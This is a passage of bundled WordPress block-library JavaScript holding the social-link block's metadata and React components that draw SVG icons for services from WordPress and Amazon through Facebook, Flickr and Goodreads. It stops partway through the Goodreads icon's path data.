48819const social_link_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/social-link","title":"Social Icon","category":"widgets","parent":["core/social-links"],"description":"Display an icon linking to a social profile or site.","textdomain":"default","attributes":{"url":{"type":"string","role":"content"},"service":{"type":"string"},"label":{"type":"string","role":"content"},"rel":{"type":"string"}},"usesContext":["openInNewTab","showLabels","iconColor","iconColorValue","iconBackgroundColor","iconBackgroundColorValue"],"supports":{"reusable":false,"html":false,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-social-link-editor"}');
48820;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/wordpress.js
48821
48822
48823const WordPressIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48824 external_wp_primitives_namespaceObject.SVG,
48825 {
48826 width: "24",
48827 height: "24",
48828 viewBox: "0 0 24 24",
48829 version: "1.1",
48830 xmlns: "http://www.w3.org/2000/svg",
48831 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z" })
48832 }
48833);
48834
48835
48836;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/fivehundredpx.js
48837
48838
48839const FivehundredpxIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z" }) });
48840
48841
48842;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/amazon.js
48843
48844
48845const AmazonIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z" }) });
48846
48847
48848;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/bandcamp.js
48849
48850
48851const BandcampIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289" }) });
48852
48853
48854;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/behance.js
48855
48856
48857const BehanceIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z" }) });
48858
48859
48860;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/bluesky.js
48861
48862
48863const BlueskyIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.3,4.2c2.3,1.7,4.8,5.3,5.7,7.2.9-1.9,3.4-5.4,5.7-7.2,1.7-1.3,4.3-2.2,4.3.9s-.4,5.2-.6,5.9c-.7,2.6-3.3,3.2-5.6,2.8,4,.7,5.1,3,2.9,5.3-5,5.2-6.7-2.8-6.7-2.8,0,0-1.7,8-6.7,2.8-2.2-2.3-1.2-4.6,2.9-5.3-2.3.4-4.9-.3-5.6-2.8-.2-.7-.6-5.3-.6-5.9,0-3.1,2.7-2.1,4.3-.9h0Z" }) });
48864
48865
48866;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/codepen.js
48867
48868
48869const CodepenIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z" }) });
48870
48871
48872;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/deviantart.js
48873
48874
48875const DeviantArtIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z" }) });
48876
48877
48878;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/discord.js
48879
48880
48881const DiscordIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20.317 4.369A19.88 19.88 0 0 0 15.894 3a14.145 14.145 0 0 0-.719 1.518 19.205 19.205 0 0 0-5.351 0A14.183 14.183 0 0 0 9.104 3 19.896 19.896 0 0 0 4.682 4.369a18.921 18.921 0 0 0-3.012 12.52 19.929 19.929 0 0 0 6.081 3.097c.487-.65.922-1.339 1.3-2.061a12.445 12.445 0 0 1-1.958-.896c.165-.12.326-.246.483-.374a12.445 12.445 0 0 0 8.946 0c.157.128.318.253.483.374-.627.371-1.281.683-1.958.896.379.722.813 1.41 1.3 2.061a19.94 19.94 0 0 0 6.081-3.097 18.921 18.921 0 0 0-3.012-12.52ZM8.12 15.233c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Zm7.757 0c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Z" }) });
48882
48883
48884;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/dribbble.js
48885
48886
48887const DribbbleIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z" }) });
48888
48889
48890;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/dropbox.js
48891
48892
48893const DropboxIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z" }) });
48894
48895
48896;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/etsy.js
48897
48898
48899const EtsyIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z" }) });
48900
48901
48902;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/facebook.js
48903
48904
48905const FacebookIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z" }) });
48906
48907
48908;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/feed.js
48909
48910
48911const FeedIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z" }) });
48912
48913
48914;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/flickr.js
48915
48916
48917const FlickrIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z" }) });
48918
48919
48920;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/foursquare.js
48921
48922
48923const FoursquareIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z" }) });
48924
48925
48926;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/goodreads.js
48927
48928
48929const GoodreadsIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 